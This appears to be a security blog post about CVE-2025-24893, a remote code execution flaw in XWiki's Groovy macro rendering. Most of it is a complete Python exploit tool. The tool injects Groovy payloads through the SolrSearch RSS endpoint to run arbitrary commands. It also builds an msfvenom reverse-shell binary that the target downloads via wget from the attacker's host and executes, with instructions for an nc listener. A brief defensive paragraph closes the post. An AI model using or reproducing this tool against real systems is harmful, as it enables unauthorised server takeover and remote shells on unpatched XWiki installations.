Post

CVE-2025-24893

CVE-2025-24893 — XWiki Groovy Macro RCE

  • Net.Doge & Infinit3i

CVE-2025-24893 is a remote code execution vulnerability affecting XWiki, caused by improper sandboxing when Groovy macros are rendered asynchronously. XWiki’s macro engine is designed to provide extensibility while maintaining execution boundaries, but those assumptions break down under asynchronous rendering conditions.

The vulnerability can be triggered through RSS-based SolrSearch endpoints, where attacker-controlled input is evaluated in a context that bypasses Groovy’s intended restrictions. This effectively converts a search and content-rendering feature into an execution surface, allowing arbitrary system commands to run under the XWiki service account. 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
import os
import requests
import urllib.parse
import re
import time
import subprocess

# ANSI color codes
YELLOW = "\033[93m"
CYAN = "\033[96m"
GREEN = "\033[92m"
RED = "\033[91m"
RESET = "\033[0m"

# Global config
REMOTE_HOST = "infinit3i.doge"
LOCAL_HOST = "10.10.77.2"
SERVER_PORT = "8080"
BEACON_PORT = "31337"

def clear_screen():
    os.system("clear")

def build_full_bash_payload(cmd: str) -> str:
    return (
        f"cmd=$(echo -n '{cmd}' | jq -Rr @uri); "
        f'curl -i "http://{REMOTE_HOST}/xwiki/bin/get/Main/SolrSearch?media=rss'
        '&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d'
        '%7b%7bgroovy%7d%7dprintln(%22$cmd%22.execute().text)'
        '%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d" '
        "| awk -F'}}}' '{ print $2 }' | awk -F'</title' '{ print $1 }'"
    )

def send_encoded_command(cmd: str):
    cleaned_cmd = cmd.replace('"', '\\"')
    payload = (
        "{{async async=false}}{{groovy}}"
        f'println("{cleaned_cmd}".execute().text)'
        "{{/groovy}}{{/async}}"
    )
    params = {
        "media": "rss",
        "text": payload
    }

    try:
        url = f"http://{REMOTE_HOST}/xwiki/bin/get/Main/SolrSearch"
        response = requests.get(url, params=params)
        response.raise_for_status()
        raw = response.text.split("}}}")[-1].split("</title")[0]
        match = re.search(r"\[(.*?)\]", raw)
        return match.group(1).strip() if match else "(no [brackets] found)"
    except requests.RequestException as e:
        return f"{RED}[!] Error: {e}{RESET}"

def run_command():
    clear_screen()
    print(f"{YELLOW}==============================")
    print(f"   XWiki Single Command RCE")
    print(f"=============================={RESET}")
    cmd = input(f"{CYAN}Enter the command to run: {RESET}").strip()
    if not cmd:
        return

    print(f"\n{YELLOW}[>] Equivalent Bash Payload:{RESET}")
    print(f"{CYAN}{build_full_bash_payload(cmd)}{RESET}\n")

    output = send_encoded_command(cmd)
    clear_screen()
    print(f"{GREEN}[+] Output:\n{output}{RESET}\n")
    input(f"{YELLOW}[Press ENTER to return to main menu]{RESET}")

def generate_reverse_shell_payload():
    print(f"{YELLOW}[>] Generating ELF payload using msfvenom...{RESET}")
    try:
        subprocess.run(
            [
                "msfvenom",
                "-p", "linux/x64/shell_reverse_tcp",
                f"LHOST={LOCAL_HOST}",
                f"LPORT={BEACON_PORT}",
                "-f", "elf",
                "-o", "rev"
            ],
            check=True
        )
        print(f"{GREEN}[+] Payload saved as ./rev{RESET}")
    except subprocess.CalledProcessError:
        print(f"{RED}[!] Failed to generate payload with msfvenom.{RESET}")
        input(f"{YELLOW}[Press ENTER to return to menu]{RESET}")
        return False
    return True

def run_reverse_shell():
    clear_screen()
    if not generate_reverse_shell_payload():
        return

    print(f"""{CYAN}
[!] Make sure you're hosting the payload:
    python3 -m http.server {SERVER_PORT}

[!] Make sure you're listening for shell:
    nc -lvnp {BEACON_PORT}
{RESET}""")
    input(f"{YELLOW}[Press ENTER to launch reverse shell on remote target]{RESET}")

    cmds = [
        f"wget -O /tmp/rev http://{LOCAL_HOST}:{SERVER_PORT}/rev",
        "chmod +x /tmp/rev",
        "/tmp/rev"
    ]

    for cmd in cmds:
        print(f"{YELLOW}[>] Sending: {cmd}{RESET}")
        result = send_encoded_command(cmd)
        time.sleep(5)
        print(f"{GREEN}[+] Response: {result}{RESET}")

    input(f"{YELLOW}[Press ENTER to return to main menu]{RESET}")

def change_settings():
    global REMOTE_HOST, LOCAL_HOST, SERVER_PORT, BEACON_PORT

    while True:
        clear_screen()
        print(f"""{YELLOW}========= Change Settings ==========
Current values:
[1] Remote Host : {REMOTE_HOST}
[2] Local Host  : {LOCAL_HOST}
[3] Server Port : {SERVER_PORT}
[4] Beacon Port : {BEACON_PORT}
[5] Back to Main Menu
{RESET}""")
        option = input(f"{CYAN}Select a setting to change: {RESET}").strip()

        if option == "1":
            REMOTE_HOST = input(f"{CYAN}Enter new Remote Host: {RESET}").strip() or REMOTE_HOST
        elif option == "2":
            LOCAL_HOST = input(f"{CYAN}Enter new Local Host: {RESET}").strip() or LOCAL_HOST
        elif option == "3":
            SERVER_PORT = input(f"{CYAN}Enter new Server Port: {RESET}").strip() or SERVER_PORT
        elif option == "4":
            BEACON_PORT = input(f"{CYAN}Enter new Beacon Port: {RESET}").strip() or BEACON_PORT
        elif option == "5":
            break
        else:
            print(f"{RED}Invalid selection.{RESET}")
            input(f"{YELLOW}[Press ENTER to try again]{RESET}")
            continue

        print(f"{GREEN}[+] Updated.{RESET}")
        input(f"{YELLOW}[Press ENTER to return to settings menu]{RESET}")


def main_menu():
    while True:
        clear_screen()
        print(f"""{YELLOW}===============================
     XWiki CVE-2025-24893
     
Created by Net.Doge & Infinit3i
===============================
Target Host : {REMOTE_HOST}
Local Host  : {LOCAL_HOST}
Server Port : {SERVER_PORT}
Beacon Port : {BEACON_PORT}
===============================
1) Run command
2) Reverse shell
3) Change settings
4) Quit
{RESET}""")
        choice = input(f"{CYAN}Select an option: {RESET}").strip()

        if choice == "1":
            run_command()
        elif choice == "2":
            run_reverse_shell()
        elif choice == "3":
            change_settings()
        elif choice == "4":
            print(f"{GREEN}Goodbye.{RESET}")
            break
        else:
            print(f"{RED}Invalid choice.{RESET}")
            input(f"{YELLOW}[Press ENTER to try again]{RESET}")

if __name__ == "__main__":
    main_menu()

This proof of concept demonstrates reliable exploitation by injecting Groovy payloads to execute commands directly or stage a full reverse shell. The tooling automates payload generation using msfvenom, hosts binaries over HTTP, and executes them through the vulnerable macro path. The exploit chain is intentionally kept clean and readable to make the execution flow easy to validate.

From a defensive standpoint, this vulnerability highlights the risks introduced by macro engines, asynchronous execution, and search features intersecting without strict isolation. It reinforces the need for strong sandbox enforcement, reduced macro privileges, and careful review of any feature that evaluates user-influenced content server-side.

This post is licensed under CC BY 4.0 by the author.